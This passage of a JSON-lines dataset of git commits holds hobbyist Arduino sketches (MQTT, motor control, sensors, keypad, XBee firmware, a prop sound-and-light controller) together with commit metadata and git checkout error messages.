(subscription == &iot_in) {\n Serial.print(F(\"\\tReceived: \"));\n Serial.println((char *)iot_in.lastread);\n }\n }\n\n \/\/ping the server to keep the mqtt connection alive, only needed if we're not publishing\n if(! mqtt.ping()) {\n Serial.println(F(\"MQTT Ping failed.\"));\n }\n\n}\n\n\/\/ Function to connect and reconnect as necessary to the MQTT server.\n\/\/ Should be called in the loop function and it will take care if connecting.\nvoid MQTT_connect() {\n int8_t ret;\n\n \/\/ Stop if already connected.\n if (mqtt.connected()) {\n return;\n }\n\n Serial.print(\"Connecting to MQTT... \");\n\n while ((ret = mqtt.connect()) != 0) { \/\/ connect will return 0 for connected\n Serial.println(mqtt.connectErrorString(ret));\n Serial.println(\"Retrying MQTT connection in 5 seconds...\");\n mqtt.disconnect();\n delay(5000); \/\/ wait 5 seconds\n }\n Serial.println(\"MQTT Connected!\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/modem_mqtt\/modem_mqtt.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"91c67ea893b1e1b8b83d6c808e954b7a30164eda","subject":"add example to change communication speed","message":"add example to change communication speed\n","repos":"descampsa\/ardyno","old_file":"examples\/test_speed\/test_speed.ino","new_file":"examples\/test_speed\/test_speed.ino","new_contents":"#include \"DynamixelMotor.h\"\n\nconst uint8_t id=1;\n\nDynamixelInterface &interface=*createSerialInterface(Serial);\nDynamixelMotor motor(interface, id);\n\n\/\/ demonstrate how to change communication speed\n\/\/ the led should blink three time\nvoid setup() \n{\n \/\/start at 1MBd\n delay(100);\n interface.begin(1000000);\n \n motor.init();\n motor.led(HIGH);\n delay(1000);\n motor.led(LOW);\n delay(1000);\n \n \/\/switch motor to 9600Bd\n motor.communicationSpeed(9600);\n \n \/\/switch interface speed to 9600Bd\n delay(100);\n interface.begin(9600);\n \n motor.led(HIGH);\n delay(1000);\n motor.led(LOW);\n delay(1000);\n \n \/\/switch back to 1MBd\n motor.communicationSpeed(1000000);\n \n delay(100);\n interface.begin(1000000);\n \n motor.led(HIGH);\n delay(1000);\n motor.led(LOW);\n delay(1000);\n}\n\nvoid loop(){}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/test_speed\/test_speed.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"e1c06ee3c0e2cb10d85e299ec22e2a06c17bbff3","subject":"Added Arduino code for paddle controllers.","message":"Added Arduino code for paddle controllers.\n","repos":"KAZOOSH\/Pong,KAZOOSH\/Pong,KAZOOSH\/Pong","old_file":"arduino\/Radsensor\/Radsensor.ino","new_file":"arduino\/Radsensor\/Radsensor.ino","new_contents":"\/**\n * Radsensor\n * f\u00fcr das Pong zum Hechtfest 2016\n *\n * Ben\u00f6tigt:\n * - AS5601-Treiber\n * https:\/\/github.com\/bitfasching\/AS5601\n *\n * nick@bitfasching.de\n * KAZOOSH!\n *\/\n\n\n#include <Arduino.h>\n#include <AS5601.h>\n\n\n\/\/ Kalibrierungszeit [ms]\nconst unsigned int calibrationTime = 10000;\n\n\/\/ Sensorrauschunterdr\u00fcckung (\u00c4nderungsschwelle f\u00fcr Positions\u00fcbernahme)\nconst int sensorNoise = 4;\n\n\n\/\/ Magnetsensor vorbereiten\nAS5601 Sensor;\n\n\/\/ globale Variable f\u00fcr Messwerte\nint referenceAngle;\n\n\/\/ globale Variablen f\u00fcr Kalibrierungszustand und Startzeitpunkt\nenum State { IDLE, WAITING, CALIBRATING, TRACKING } State;\nunsigned long startTime;\n\n\n\/\/ Sensor auslesen und Position ermitteln\nvoid updatePosition( int &position )\n{\n int newAngle, delta;\n\n \/\/ aktuellen Winkel einlesen\n newAngle = (int) Sensor.getRawAngle();\n\n \/\/ Differenz ermitteln\n delta = newAngle - referenceAngle;\n\n \/\/ Rauschen unterdr\u00fccken und kleine \u00c4nderungen ignorieren\n if ( abs( delta ) < sensorNoise ) { return; }\n\n \/\/ \u00dcberdrehung abfangen\n if ( delta > 2048 ) { delta = delta - 4096; }\n if ( delta < -2048 ) { delta = delta + 4096; }\n\n \/\/ fortlaufenden Winkel weiterz\u00e4hlen\n position = position + delta;\n\n \/\/ Referenzwinkel aktualisieren\n referenceAngle = newAngle;\n}\n\n\/\/ Nachkalibrierung von Ober- & Untergrenze\nbool calibrate( int position, int &top, int &bottom, int &middle, int length )\n{\n int offset = 0;\n\n \/\/ \u00dcberschreitung?\n if ( position > top )\n {\n \/\/ positive Differenz\n offset = position - top;\n }\n \/\/ Unterschreitung?\n else if ( position < bottom )\n {\n \/\/ negative Differenz\n offset = position - bottom;\n }\n\n \/\/ wenn Anpassung notwendig\u2026\n if ( offset != 0 )\n {\n \/\/ beide Grenzen synchron nachf\u00fchren (h\u00e4lt Wegl\u00e4nge zwischen Grenzen konstant)\n top += offset;\n bottom += offset;\n\n \/\/ Mitte neu berechnen\n middle = bottom + length \/ 2;\n }\n}\n\n\n\/\/ Start\nvoid setup()\n{\n \/\/ kurz warten und USB einschalten\n delay( 1000 );\n Serial.begin( 115200 );\n\n \/\/ Hallo sagen\n Serial.println( F(\"[Radsensor Pong 2016]\") );\n\n \/\/ Startwinkel setzen\n referenceAngle = (int) Sensor.getRawAngle();\n}\n\n\n\/\/ Hauptschleife\nvoid loop()\n{\n static int position = 0;\n static int top, bottom, middle, length;\n\n \/\/ Sensor abfragen und Position ermitteln\n updatePosition( position );\n\n \/\/ Wegl\u00e4nge kalibriert?\n if ( State == TRACKING )\n {\n \/\/ Nachkalibrierung: Grenzen nachf\u00fchren\n calibrate( position, top, bottom, middle, length );\n\n \/\/ neuer Wert angefragt?\n if ( Serial.read() != -1 )\n {\n \/\/ Position auf \u00b11024 mappen\n int scaledPosition = (long) ( position - middle ) * 2048 \/ length;\n\n \/\/ Wert als 16-bit-Wort ausgeben (Big Endian)\n Serial.write( highByte( scaledPosition ) );\n Serial.write( lowByte( scaledPosition ) );\n \/\/Serial.println( scaledPosition );\n }\n }\n \/\/ noch nicht kalibriert\n else\n {\n \/\/ Kalibrierung noch gar nicht gestartet?\n if ( State == IDLE )\n {\n \/\/ beide Grenzen zum Start auf aktuelle Position setzen\n top = position;\n bottom = position;\n\n \/\/ n\u00e4chster Zustand: Warten auf Bewegung\n State = WAITING;\n\n \/\/ Status ausgeben\n Serial.print( F(\"Waiting \") );\n }\n \/\/ Warten auf Bewegung?\n else if ( State == WAITING )\n {\n \/\/ sobald Bewegung stattgefunden hat (also Position ver\u00e4ndert wurde)\u2026\n if ( length > 0 )\n {\n \/\/ Startzeit festhalten\n startTime = millis();\n\n \/\/ n\u00e4chster Zustand: Kalibrieren\n State = CALIBRATING;\n\n \/\/ Status ausgeben\n Serial.print( F(\"Calibrating \") );\n }\n }\n\n \/\/ Obergrenze und Untergrenze ausweiten\n if ( position > top ) { top = position; }\n if ( position < bottom ) { bottom = position; }\n\n \/\/ Gesamtweg und Mitte berechnen\n length = top - bottom;\n middle = bottom + length \/ 2;\n\n \/\/ Kalibrierungszeit abgelaufen?\n if ( State == CALIBRATING && millis() > startTime + calibrationTime )\n {\n \/\/ Kalibrierung f\u00fcr abgeschlossen erkl\u00e4ren\n State = TRACKING;\n\n \/\/ Status ausgeben\n Serial.println( F(\"Tracking\") );\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/Radsensor\/Radsensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"67a4cc21d47c6bb1277b83949357e93c49ac6ea4","subject":"Add button example with leds","message":"Add button example with leds\n","repos":"maltboard\/malt-java","old_file":"arduino\/button\/button.ino","new_file":"arduino\/button\/button.ino","new_contents":"\/*\n * Blink example with serial\n *\/\n \n\/\/ Connect the button to pin 2 in arduino\nconst int buttonPin = 2;\n\/\/ Pin 13 has an LED connected on most Arduino boards.\nconst int ledPin = 13;\n\/\/The button state (0 = released, HIGH = pressed)\nconst int buttonState = 0;\n\n\/\/ the setup routine runs once when you press reset:\nvoid setup() {\n \/\/ initialize the digital pin as an output.\n pinMode(ledPin, OUTPUT);\n \/\/ initialize the button pin as an input.\n \/\/ connect the button in VDD and PIN 2\n pinMode(buttonPin, INPUT);\n Serial.begin(9600);\n}\n\n\/\/ the loop routine runs over and over again forever:\nvoid loop() {\n digitalWrite(led, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n Serial.println(\"LED ON\"); \/\/ send a message via serial interface\n delay(1000); \/\/ wait for a second\n digitalWrite(led, LOW); \/\/ turn the LED off by making the voltage LOW\n Serial.println(\"LED OFF\"); \/\/ send a message via serial interface\n delay(1000); \/\/ wait for a second\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/button\/button.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"c335c6f51454038089ffbf08f8e7d9c0c18ebb0a","subject":"Keypad working with servo and buzzer","message":"Keypad working with servo and buzzer\n","repos":"NehaArefin\/MouseTrap","old_file":"keypad.ino","new_file":"keypad.ino","new_contents":"\/*4x4 Matrix Keypad connected to Arduino\nThis code prints the key pressed on the keypad to the serial port*\/\n\n#include <Keypad.h>\n\nconst byte numRows= 4; \/\/number of rows on the keypad\nconst byte numCols= 4; \/\/number of columns on the keypad\n\n\/\/keymap defines the key pressed according to the row and columns just as appears on the keypad\nchar keymap[numRows][numCols]= \n{\n{'1', '2', '3', 'A'}, \n{'4', '5', '6', 'B'}, \n{'7', '8', '9', 'C'},\n{'*', '0', '#', 'D'}\n};\n\n\/\/Code that shows the the keypad connections to the arduino terminals\nbyte rowPins[numRows] = \/*{9,8,7,6};*\/ {6,7,8,9};\/\/Rows 0 to 3\nbyte colPins[numCols]= \/*{5,4,3,2};*\/{2,3,4,5};\/\/Columns 0 to 3\n\n\/\/initializes an instance of the Keypad class\nKeypad myKeypad= Keypad(makeKeymap(keymap), rowPins, colPins, numRows, numCols);\n#define ledpin 13\nvoid setup()\n{\npinMode(ledpin,OUTPUT);\n digitalWrite(ledpin, HIGH);\n Serial.begin(9600);;\n}\n\n\/\/If key is pressed, this key is stored in 'keypressed' variable\n\/\/If key is not equal to 'NO_KEY', then this key is printed out\n\/\/if count=17, then count is reset back to 0 (this means no key is pressed during the whole keypad scan process\nvoid loop()\n{\nchar key = myKeypad.getKey();\n if(key) \/\/ Check for a valid key.\n {\n switch (key)\n {\n case '*':\n digitalWrite(ledpin, LOW);\n break;\n case '#':\n digitalWrite(ledpin, HIGH);\n break;\n default:\n Serial.println(key);\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'keypad.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"6d6ab54a29fe6a1471a5c2ab171640575dcf345d","subject":"add motor test","message":"add motor test\n","repos":"lennart96\/printer,lennart96\/printer,lennart96\/printer","old_file":"printer\/src\/debug.ino","new_file":"printer\/src\/debug.ino","new_contents":"#include <Motor.h>\n\nMotor motor(8, 9, 10, 11);\n\nvoid setup() {\n Serial.begin(9600);\n while(!Serial);\n}\n\nvoid loop() {\n if (Serial.available()) {\n int steps = Serial.parseInt();\n motor.rotateSteps(steps);\n Serial.write(\"Done\");\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'printer\/src\/debug.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"517a2872c13f66d46158be5232fcb9fc602b9373","subject":"Rename Hub to Package","message":"Rename Hub to Package\n","repos":"HouseWare\/TheHub,HouseWare\/TheHub","old_file":"package\/Package\/Package.ino","new_file":"package\/Package\/Package.ino","new_contents":"\/\/ HouseWare Package Firmware\n\/\/ Created by Andrew Fugier\n\n\/\/ Includes\n#include <SoftwareSerial.h>\n\n\/\/ Common variables that chage\nconst char* VERSION = \"0.0.2\"; \/\/ version number\nconst int DELAY = 10; \/\/ loop delay\n\nSoftwareSerial mySerial = SoftwareSerial(2, 3); \/\/ XBee connected on pins D2 and D3\nchar str[20]; \/\/ used for most string operations - a single 20 byte memory segement\nchar out[20]; \/\/ buffer used for output storage\nint pDoor = 0; \/\/ state of the door\n\n\/* Sends the contents of out[] to the XBee and local Serial *\/\nvoid sendMsg(){\n Serial.println(out);\n mySerial.println(out);\n}\n\n\/* Firmware setup function *\/\nvoid setup() {\n Serial.begin(9600); \/\/ Local Serial Communications\n mySerial.begin(9600); \/\/ XBee Communications\n\n strcpy(out, \"Init HouseWare Hub\");\n sendMsg();\n\n pinMode(4, INPUT); \/\/ door pin\n pinMode(13, OUTPUT); \/\/ light pin \n}\n\n\/* Read a message from the XBee interface *\/\n\/* Specify a char array as well as the array size *\/\nint getMsg(char* m, int bsize){\n if (mySerial.available()) { \/\/ XBee has data\n int p = 0; \/\/ buffer pos\n while(mySerial.available()){ \/\/ Until buffer is empty\n if(mySerial.read() == '{'){ \/\/ Start of JSON data\n while(mySerial.peek() != '}' && p < bsize){ \/\/ until the end of JSON data\n m[p++]=mySerial.read(); \/\/ build the 'm' buffer\n }\n m[p++]=0; \/\/ null terminate the 'm' buffer\n }\n }\n return 1; \/\/ got a vailid message\n }\n return 0; \/\/ no valid message\n}\n\n\/* Process a givin JSON message *\/\n\/* Specify the char array *\/\nint processMsg(char* m){\n switch(m[1]){\n case 'r': \/\/ request\n switch(m[7]){\n case 'a':\n \/\/ TODO: code to return all sensor values\n break;\n default:\n \/\/ assume a pin xy (pin > 50, analog - eg, pin 54 is analog 04)\n int t = 0; \/\/ type: 0 -> Digital \/ 1 -> Analog\n int x = m[6] - '0';\n int y = m[7] - '0';\n int v = 0; \/\/ value: sensor value\n \n \/\/ determine if digital or analog pin\n if(x >= 5) {\n t = 1;\n x = x - 5;\n }\n int z = (x * 10) + y; \/\/ the pin orginally requested, in int form\n \n if(t == 0){ \/\/ digital read\n v = digitalRead(z);\n }\n else if(t == 1){ \/\/ analog read\n v = analogRead(z);\n }\n \n \/\/ Build and return JSON\n sprintf(out, \"{\\\"dat\\\":\\\"%i:%i\\\"}\", (t*50)+z, v);\n sendMsg();\n break;\n }\n return 0;\n break;\n \n case 's': \/\/ system\n switch(m[7]){\n case 'v': \/\/ get version\n strcpy(out, \"{\\\"dat\\\":\\\"v:\");\n strcat(out, VERSION);\n strcat(out, \"\\\"}\");\n sendMsg();\n break;\n case 'r': \/\/ reset system\n \/\/ TODO; Send notification of user reset\n asm volatile (\" jmp 0\"); \/\/ hack-ish was to reset\n break;\n }\n return 0;\n break;\n \n case 'd': \/\/ data\n return 0;\n break;\n \n case 'e': \/\/ error\n return 0;\n break;\n \n \/\/ undefined\n strcpy(out, \"{\\\"err\\\":001}\");\n sendMsg();\n return -1;\n }\n}\n\nvoid loop() {\n \/\/ check the door\n if(digitalRead(4) != pDoor){\n processMsg(\"\\\"req\\\":04\");\n pDoor = !pDoor;\n }\n \n \/\/ get and process messages\n if(getMsg(str, 20)){\n processMsg(str);\n }\n\n delay(DELAY);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'package\/Package\/Package.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b5266b3091e9d23a8d48c301642c247da19d396d","subject":"Se crea proyecto de sensor hc-sr04","message":"Se crea proyecto de sensor hc-sr04\n","repos":"codigoelectronica\/arduino_code,codigoelectronica\/arduino_code,codigoelectronica\/arduino_code","old_file":"hc-sr04\/hc-sr04.ino","new_file":"hc-sr04\/hc-sr04.ino","new_contents":"\/\/Se declaran los pines para el sensor\nint const TRIG = 9;\nint const ECHO = 8;\n\n\/\/Variables de calculo\nfloat distancia;\nfloat tiempo;\n\nvoid setup(){\n Serial.begin(9600);\n \/\/Activaci\u00f3n del pin como salida: para el pulso ultras\u00f3nico\n pinMode(TRIG, OUTPUT); \n \/\/Activaci\u00f3n del pin como entrada: tiempo del rebote del ultrasonido\n pinMode(ECHO, INPUT); \n}\n\nvoid loop(){\n \/\/Por cuesti\u00f3n de estabilizaci\u00f3n del sensor\n digitalWrite(TRIG,LOW); \n delayMicroseconds(5);\n \/\/env\u00edo del pulso ultras\u00f3nico\n digitalWrite(TRIG, HIGH); \n delayMicroseconds(10);\n \/* Funci\u00f3n para medir la longitud del pulso entrante. \n Mide el tiempo que transcurrido entre el env\u00edo\n del pulso ultras\u00f3nico y cuando el sensor recibe el rebote, e\n s decir: desde que el pin 12 empieza a recibir el rebote, HIGH, hasta que\n deja de hacerlo, LOW, la longitud del pulso entrante*\/\n tiempo=pulseIn(ECHO, HIGH); \n \/*f\u00f3rmula para calcular la distancia obteniendo un valor entero*\/\n \/*Monitorizaci\u00f3n en cent\u00edmetros por el monitor serial*\/\n distancia= int(0.017*tiempo); \n Serial.print(\"Distancia \");\n Serial.print(distancia);\n Serial.print(\" cm\");\n Serial.println(\"\");\n delay(1000);\n}\n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hc-sr04\/hc-sr04.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cbbbc872ce1b928ad410461b5885185ad4ab2d36","subject":"Running at 10 ms and outputs periodic temps.","message":"Running at 10 ms and outputs periodic temps.\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"5c395eb788fb4859a252d52587f1b7dc52650485","subject":"Bumping version for release.","message":"Bumping version for release.\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"29efaf4f36ed5c786260bf5fe9b92d500c50911e","subject":"Optimise data types","message":"Optimise data types","repos":"majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino","old_file":"build\/shared\/examples\/05.Control\/ForLoopIteration\/ForLoopIteration.ino","new_file":"build\/shared\/examples\/05.Control\/ForLoopIteration\/ForLoopIteration.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"fatal: remote error: upload-pack: not our ref 29efaf4f36ed5c786260bf5fe9b92d500c50911e\nfatal: the remote end hung up unexpectedly\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"03d4f94ca14428525aa5300040cbc469d34d7170","subject":"Create proton_pack.ino","message":"Create proton_pack.ino","repos":"martinux\/proton_pack_arduino","old_file":"proton_pack.ino","new_file":"proton_pack.ino","new_contents":"\n\/\/ Required by SD card\n#include <FatReader.h>\n#include <SdReader.h>\n#include <avr\/pgmspace.h>\n#include \"WaveUtil.h\"\n#include \"WaveHC.h\"\n\nSdReader card; \/\/ This object holds the information for the card.\nFatVolume vol; \/\/ This holds the information for the partition on the card.\nFatReader root; \/\/ This holds the information for the filesystem on the card.\nFatReader f; \/\/ This holds the information for the file we're play.\nWaveHC wave; \/\/ This is the only wave (audio) object, since we will only play one at a time.\n\n\/\/ Timekeeping\nlong previousMillis_off = 0; \/\/ will store last updated time.\nlong previousMillis_on = 0;\nlong previousMillis_fire = 0;\nlong off_interval = 30;\nlong pwrcl_interval = 60; \/\/ interval at which to cycle lights (milliseconds).\nlong firing_interval = 40; \/\/ interval at which to cycle firing lights (milliseconds).\n\n\/\/ ===============================================================================================\n\/\/ BUTTONS\n\/\/ array is in the format: buttons[power_on, gun_fire, music_change]\n\/\/ thus, whatever pin is set to buttons[0] switches on the power cell.\n\/\/ ===============================================================================================\n#define DEBOUNCE 5 \/\/ button debouncer.\nbyte buttons[] = {14, 15, 16}; \/\/ Analog 0, 1 and 2 respectively.\n\/\/ This handy macro lets us determine how big the array up above is, by checking the size.\n#define NUMBUTTONS sizeof(buttons)\n\/\/ we will track if a button is just pressed, just released, or 'pressed' (the current state).\nvolatile byte pressed[NUMBUTTONS], justpressed[NUMBUTTONS], justreleased[NUMBUTTONS];\n\n\/\/Pin connected to ST_CP of 74HC595 (pin 12)\nint latchPin = 8;\n\/\/Pin connected to SH_CP of 74HC595 (pin 11)\nint clockPinPWR = 6; \/\/ Power cell\nint clockPinGUN = 18; \/\/ Gun\n\/\/\/\/Pin connected to DS of 74HC595 (pin 14)\nint dataPinPWR = 7; \/\/ Power cell\nint dataPinGUN = 19; \/\/ Gun\n\n\/\/ PINS SUMMARY:\n\/\/ 2, 3, 4, 5, 10 = audioshield\n\/\/ 6, 7, 18, 19 = 595's\n\/\/ 11, 12, 13 = SD card i\/o\n\n\/\/holders for information we're going to pass to shifting function\nbyte dataPWRCL1;\nbyte dataPWRCL2;\nbyte dataGUN1;\nbyte dataGUN2;\nbyte dataGUNON1;\nbyte dataGUNON2;\n\/\/ data arrays\nbyte daPWRCL1[15];\nbyte daPWRCL2[15];\nbyte daGUN1[26];\nbyte daGUN2[26];\nbyte daGUNON1[15];\nbyte daGUNON2[15];\n \nint freeRam(void) {\n extern int __bss_end;\n extern int *__brkval;\n int free_memory;\n if((int)__brkval == 0) {\n free_memory = ((int)&free_memory) - ((int)&__bss_end); \n }\n else {\n free_memory = ((int)&free_memory) - ((int)__brkval); \n }\n return free_memory; \n}\n\n\nvoid setup() {\n byte i;\n \n \/*\n \/\/ set up serial port\n Serial.begin(9600);\n putstring_nl(\"WaveHC with \");\n Serial.print(NUMBUTTONS, DEC);\n putstring_nl(\"buttons\");\n \n putstring(\"Free RAM: \"); \/\/ This can help with debugging, running out of RAM is bad\n Serial.println(freeRam()); \/\/ if this is under 150 bytes it may spell trouble!\n *\/\n \n \/\/ Set the output pins for the DAC control. This pins are defined in the library\n pinMode(2, OUTPUT);\n pinMode(3, OUTPUT);\n pinMode(4, OUTPUT);\n pinMode(5, OUTPUT);\n pinMode(10, OUTPUT);\n \n pinMode(latchPin, OUTPUT);\n \/\/ power cell LEDs 0 through 7\n daPWRCL1[0] = 0x80; \/\/10000000\n daPWRCL1[1] = 0xC0; \/\/11000000\n daPWRCL1[2] = 0xE0; \/\/11100000\n daPWRCL1[3] = 0xF0; \/\/11110000\n daPWRCL1[4] = 0xF8; \/\/11111000\n daPWRCL1[5] = 0xFC; \/\/11111100\n daPWRCL1[6] = 0xFE; \/\/11111110\n daPWRCL1[7] = 0xFF; \/\/11111111\n daPWRCL1[8] = 0xFF; \/\/11111111\n daPWRCL1[9] = 0xFF; \/\/11111111\n daPWRCL1[10] = 0xFF; \/\/11111111\n daPWRCL1[11] = 0xFF; \/\/11111111\n daPWRCL1[12] = 0xFF; \/\/11111111\n daPWRCL1[13] = 0xFF; \/\/11111111\n daPWRCL1[14] = 0xFF; \/\/11111111\n \n \/\/ Power cell LEDs 8 through 15\n daPWRCL2[0] = 0x00; \/\/00000000\n daPWRCL2[1] = 0x00; \/\/00000000\n daPWRCL2[2] = 0x00; \/\/00000000\n daPWRCL2[3] = 0x00; \/\/00000000\n daPWRCL2[4] = 0x00; \/\/00000000\n daPWRCL2[5] = 0x00; \/\/00000000\n daPWRCL2[6] = 0x00; \/\/00000000\n daPWRCL2[7] = 0x80; \/\/10000000\n daPWRCL2[8] = 0xC0; \/\/11000000\n daPWRCL2[9] = 0xE0; \/\/11100000\n daPWRCL2[10] = 0xF0; \/\/11110000\n daPWRCL2[11] = 0xF8; \/\/11111000\n daPWRCL2[12] = 0xFC; \/\/11111100\n daPWRCL2[13] = 0xFE; \/\/11111110\n daPWRCL2[14] = 0xFF; \/\/11111111\n \n \/\/second lights\n daGUN1[0] = 0x00; \/\/00000000\n daGUN1[1] = 0x00; \/\/00000000\n daGUN1[2] = 0x00; \/\/00000000\n daGUN1[3] = 0x00; \/\/00000000\n daGUN1[4] = 0x00; \/\/00000000\n daGUN1[5] = 0x00; \/\/00000000\n daGUN1[6] = 0x00; \/\/00000000\n daGUN1[7] = 0x80; \/\/10000000\n daGUN1[8] = 0xC0; \/\/11000000\n daGUN1[9] = 0xE0; \/\/11100000\n daGUN1[10] = 0xF0; \/\/11110000\n daGUN1[11] = 0xF8; \/\/11111000\n daGUN1[12] = 0xFC; \/\/11111100\n daGUN1[13] = 0xFE; \/\/11111110\n daGUN1[14] = 0xFC; \/\/11111100\n daGUN1[15] = 0xF8; \/\/11111000\n daGUN1[16] = 0xF0; \/\/11110000\n daGUN1[17] = 0xE0; \/\/11100000\n daGUN1[18] = 0xC0; \/\/11000000\n daGUN1[19] = 0x80; \/\/10000000\n daGUN1[20] = 0x00; \/\/00000000\n daGUN1[21] = 0x00; \/\/00000000\n daGUN1[22] = 0x00; \/\/00000000\n daGUN1[23] = 0x00; \/\/00000000\n daGUN1[24] = 0x00; \/\/00000000\n daGUN1[25] = 0x00; \/\/00000000\n daGUN1[26] = 0x00; \/\/00000000\n \n \/\/first lights\n daGUN2[0] = 0x40; \/\/01000000\n daGUN2[1] = 0x40; \/\/01000000\n daGUN2[2] = 0x60; \/\/01100000\n daGUN2[3] = 0x70; \/\/01110000\n daGUN2[4] = 0x78; \/\/01111000\n daGUN2[5] = 0x7C; \/\/01111100\n daGUN2[6] = 0x7E; \/\/01111110\n daGUN2[7] = 0x7F; \/\/01111111\n daGUN2[8] = 0x7F; \/\/01111111\n daGUN2[9] = 0x7F; \/\/01111111\n daGUN2[10] = 0x7F; \/\/01111111\n daGUN2[11] = 0x7F; \/\/01111111\n daGUN2[12] = 0x7F; \/\/01111111\n daGUN2[13] = 0x7F; \/\/01111111\n daGUN2[14] = 0x7F; \/\/01111111\n daGUN2[15] = 0x7F; \/\/01111111\n daGUN2[16] = 0x7F; \/\/01111111\n daGUN2[17] = 0x7F; \/\/01111111\n daGUN2[18] = 0x7F; \/\/01111111\n daGUN2[19] = 0x7F; \/\/01111111\n daGUN2[20] = 0x7F; \/\/01111111\n daGUN2[21] = 0x7E; \/\/01111110\n daGUN2[22] = 0x7C; \/\/01111100\n daGUN2[23] = 0x78; \/\/01111000\n daGUN2[24] = 0x70; \/\/01110000\n daGUN2[25] = 0x60; \/\/01100000\n daGUN2[26] = 0x40; \/\/01000000\n \n \/\/ 7 led array LEFT\n \/\/ 10000000 used for GUN strobe\n daGUNON2[0] = 0xC0; \/\/11000000\n daGUNON2[1] = 0x20; \/\/00100000\n daGUNON2[2] = 0x10; \/\/00010000\n daGUNON2[3] = 0x88; \/\/10001000\n daGUNON2[4] = 0x04; \/\/00000100\n daGUNON2[5] = 0x02; \/\/00000010\n daGUNON2[6] = 0x81; \/\/10000001\n daGUNON2[7] = 0x01; \/\/00000001\n daGUNON2[8] = 0x81; \/\/10000001\n daGUNON2[9] = 0x02; \/\/00000010\n daGUNON2[10] = 0x84; \/\/10000100\n daGUNON2[11] = 0x08; \/\/00001000\n daGUNON2[12] = 0x10; \/\/00010000\n daGUNON2[13] = 0xA0; \/\/10100000\n daGUNON2[14] = 0x40; \/\/01000000\n \n \/\/ 7 led array\n \/\/ 00000001 used for gun strobe\n daGUNON1[0] = 0x02; \/\/00000010\n daGUNON1[1] = 0x05; \/\/00000101\n daGUNON1[2] = 0x08; \/\/00001000\n daGUNON1[3] = 0x11; \/\/00010001\n daGUNON1[4] = 0x20; \/\/00100000\n daGUNON1[5] = 0x40; \/\/01000000\n daGUNON1[6] = 0x81; \/\/10000001\n daGUNON1[7] = 0x80; \/\/10000000\n daGUNON1[8] = 0x81; \/\/10000001\n daGUNON1[9] = 0x40; \/\/01000000\n daGUNON1[10] = 0x20; \/\/00100000\n daGUNON1[11] = 0x11; \/\/00010001\n daGUNON1[12] = 0x08; \/\/00001000\n daGUNON1[13] = 0x05; \/\/00000101\n daGUNON1[14] = 0x02; \/\/00000010\n \n \n \/\/ Make input & enable pull-up resistors on switch pins\n for (i=0; i< NUMBUTTONS; i++) {\n pinMode(buttons[i], INPUT);\n digitalWrite(buttons[i], HIGH);\n }\n \n \/\/ Initialise Power cell and gun lights\n digitalWrite(latchPin, 0);\n shiftOut(dataPinPWR, clockPinPWR, 0x00);\n shiftOut(dataPinPWR, clockPinPWR, 0x00);\n shiftOut(dataPinGUN, clockPinGUN, 0x40);\n shiftOut(dataPinGUN, clockPinGUN, 0x00);\n digitalWrite(latchPin, 1);\n \n \n \/\/ if (!card.init(true)) { \/\/play with 4 MHz spi if 8MHz isn't working for you\n if (!card.init()) { \/\/play with 8 MHz spi (default faster!) \n putstring_nl(\"Card init. failed!\"); \/\/ Something went wrong, lets print out why\n sdErrorCheck();\n while(1); \/\/ then 'halt' - do nothing!\n }\n \n \/\/ enable optimize read - some cards may timeout. Disable if you're having problems\n card.partialBlockRead(true);\n \n \/\/ Now we will look for a FAT partition!\n uint8_t part;\n for (part = 0; part < 5; part++) { \/\/ we have up to 5 slots to look in\n if (vol.init(card, part)) \n break; \/\/ we found one, lets bail\n }\n if (part == 5) { \/\/ if we ended up not finding one :(\n putstring_nl(\"No valid FAT partition!\");\n sdErrorCheck(); \/\/ Something went wrong, lets print out why\n while(1); \/\/ then 'halt' - do nothing!\n }\n \n \/*\n \/\/ Lets tell the user about what we found\n putstring(\"Using partition \");\n Serial.print(part, DEC);\n 